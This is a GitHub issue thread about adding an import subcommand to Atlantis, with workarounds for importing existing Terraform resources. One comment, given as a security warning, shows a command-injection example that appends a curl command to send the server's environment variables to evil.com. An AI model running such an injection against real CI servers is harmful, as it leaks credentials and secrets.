Support atlantis import subcommand

[tedwardd]

Terraform support importing existing resources in to the TF state file by way of the terraform import command. Typical usage looks like this:

1. Create resource that represents existing resource.
2. Import Resource
3. Plan to compare resource definition to reality
4. Make changes as necessary and plan until plan shows now changes (or desired changes
5. Apply changes

[lkysow]

Hi Ted, thanks for the ticket! So the workflow with Atlantis would be something like:

1. Create pull request with resource in terraform file
2. Autoplan would say that it's creating the resource
3. Run atlantis import -w workspace -d dir aws_instance.example i-abcd1234
4. Run atlantis plan -w workspace -d dir to regen the plan
5. Plan should have no changes
6. Merge pull request

How does that sound?

[tedwardd]

Hey Luke,

Yeah, that sounds correct. We are still running v0.3.8 in production so I did not account for the autoplan in my original workflow but I believe it would be fine. Autoplan would show that it was creating a new resource but once atlantis import is run, the resource file is mapped to the target resource ID and subsequent runs of atlantis plan would show no changes needing to be made unless something in the resource definition differs from what you're attempting to import.

[rhughes1]

Is this on the roadmap for 0.5.x?

Also with the above mentioned workflow would we be able to disable the autoplan on resource importing?

[majormoses]

Also with the above mentioned workflow would we be able to disable the autoplan on resource importing?

What I do currently is create a PR with a no-op change (such as add a comment) which with auto plan enabled will create the lock making it safe to do imports from the CLI locally without worrying that someone will be able to run a plan/apply through atlantis. After I have done the imports I just do another plan and then it will be business as usual.

[rhughes1]

Interesting idea to do for the interim.

Just thinking from an auditing perspective it would be nice to see what was/wasn't imported.

[lkysow]

Is this on the roadmap for 0.5.x?

No, server-side config is my focus right now.

Also with the above mentioned workflow would we be able to disable the autoplan on resource importing?

How would Atlantis know that you were going to do a resource import ahead of time?

[majormoses]

Just thinking from an auditing perspective it would be nice to see what was/wasn't imported.

If you are using a backend such as s3 and enable versioning you should be able to determine who pushed the latest version and you can diff the versions to see the delta. But ya I really would prefer to have atlantis be able to do it for me so that I can say github pull requests are my audit log. Now it's technically both.

[majormoses]

Yeah, that sounds correct. We are still running v0.3.8 in production so I did not account for the autoplan in my original workflow but I believe it would be fine. Autoplan would show that it was creating a new resource but once atlantis import is run, the resource file is mapped to the target resource ID and subsequent runs of atlantis plan would show no changes needing to be made unless something in the resource definition differs from what you're attempting to import.

If you open you pull request it starts planning, you run an import (locally or via atlantis git(hub|lab) comment) but then you have a lock not just at the atlantis level you have various types of terraform locks. For example terraform always creates its own lock in the form of a serial number if you try to apply a plan from a previous serial terraform will refuse to apply the plan[1] as there is no way to know if the plan is still valid (in this case it would not). Additionally if you use aws you can configure your backend to use a dynamodb locking table as well as an extra safeguard. I think you have auto plan enabled you need to run a plan at least once manually and would be safer to run it a second time to ensure that there is no delta before merging.

[1]: this is true when using a terraform plan -out=some_plan_file and terraform apply some_plan_file pattern which is really the only way to guarantee that it will do exactly the plan you reviewed will be executed.

[tedwardd]

@majormoses Your comment made me re-evaluate my statement and I see that you're absolutely right about the plans and locks. I guess you'd have to have something where atlantis import triggers the locks and plans to clear, but that would clutter up the PR comments with a useless plan.

But this got me thinking and I realized this is not even the most interesting part of the problem. How would atlantis import know what resource IDs to map to the matching TF resource? Normally, you run terraform import <TF_project_resource> <project_id>. But if we're expecting the user to just run atlantis import and "magic happens", we would need some way to know which resources are intended for which ID's. Two thoughts on how to do that.

1. Command would be more akin to the TF equivalent atlantis import <tf_resource> <gcp_resource_id>
2. User could define mappings in a file within the project, similar to how I'd envision taints configured (see my comment in: Support and document -replace (since terraform taint subcommand is deprecated) #527).

I'm sure there are other ways as well. I, personally, would lean towards something that makes an effort to minimize the already clutter-prone PR comments, though.

[majormoses]

1. Command would be more akin to the TF equivalent atlantis import <tf_resource> <gcp_resource_id>

Yes this is how I imagined the interface/experience.

User could define mappings in a file within the project, similar to how I'd envision taints configured (see my comment in: #527).

I will respond there as well but I think that the best interface would be to have it be a comment, committing a file to git to import/taint a resource/module seems like a bad idea. If someone forgets to clean it up then it could be a problem. I would vote taint follows the same pattern where you are explicit in what resource you want tainted.

personally, would lean towards something that makes an effort to minimize the already clutter-prone PR comments, though.

Ya I have thought about it but if we want github to be our audit trail I don't see around this. What I personally do in my org is minimize comments if they are not important or relevant. This leaves all the data intact and reduces the need to scroll a bunch of times.

[majormoses]

clutter up the PR comments with a useless plan

I don't know that I would call it useless it can be very helpful to see a plan before importing resources as it can help with recalling all the sub module objects that need to be imported, check for issues with variable/module/data references. It also helps paint a story (an audit log) of what things were like before you made any "manual" changes and then can be compared with a plan after the changes/import takes plan to confirm desired changes or a no-op. I can certainly see where you are coming from though, you can always hide or delete those comments if they really bug you.

[rohits-dev]

can someone recommend a workaround this feature is developed? Is the only way we could achieve it by following what @majormoses suggests?

[thomas-orange]

@rohitshrivastava04 You can accomplish this with an atlantis custom command. I'm working on this now to create atlantis import {resource-identifier-tf} {resource-identifier-infra} which will simply pass the arguments to the terraform import command. You still have the auto-plan, but you won't need to run anything in CLI and you'll have an IaC audit trail in github.

This seems like a common enough use case that this could easily be made part of the core atlantis stack, but until then I'll proceed with my custom command.

[thomas-orange]

After looking closer, it appears that we can't setup custom commands for the github comment interface. The custom commands must run inside of a workflow as part of either init, plan, or apply. Looks like a simple workaround is out of the question on this, and this will need to be part of the official tool.

[jghal]

This should be achievable with a custom workflow by parsing the CUSTOM_ARGS env variable. Adapting from my comment on the similar issue for supporting taint:

Then a comment like atlantis plan -- import:<resource1>::<string> import:<resource2>::<string> could be handled by a script that parses and handles the arguments. So a workflow like this would do the trick I think

workflows:
  standard-with-custom-args:
    plan:
      steps:
      - init
      - run: /usr/local/bin/parse-custom-args.sh
      - plan

[rgooler]

That seems like a gaping security hole, and allows for imports without approval, by any user who is able to comment on the ticket. And, if not VERY carefully coded - that script would allow for command injection on the server. Far too easy for an attacker to make that command atlantis plan -- help;curl -d $(env) -X POST https://evil.com

[dimisjim]

@rgooler indeed, so that's why this is also needed: #308

There are currently two PRs that try to implement this:

• GitHub team allowlist command #1206
• feat: add GitHub team allowlist configuration option #1694

[minamijoyo]

Hi folks who want to run terraform state mv/rm/import commands in Atlantis,
I posted an example for how to integrate tfmigrate into Atlantis: #1927
Have a try!

[piotr-vimn]

Hi @minamijoyo .
Looks nice - good work. I found one problem for me - there is no live preview on the Atlantis website.
As a workaround, it could do the trick.

But I propose back to the proposal from the comment:
#217 (comment)

It is more straightforward than implementing additional tool.

[minamijoyo]

@piotr-vimn Thank you for checking. Of course, there are pros and cons, but one thing I would like to emphasize that the tfmigrate is a declarative state migration tool, it allows you to require a review of the import command which your colleagues will run before changing remote states.

[jghal]

@piotr-vimn agree that an atlantis import command would be best, but that comment is 3.5 years old, with no indication that it's going to be revisited.

[IngussNeilands]

Any updates on this ?

[gfoligna-nyshex]

Please. We need this 🙏

[ghost]

Hey folks. What's the consensus on correct workflow/steps to import existing resources into atlantis?

[jmateusousa]

@lkysow update?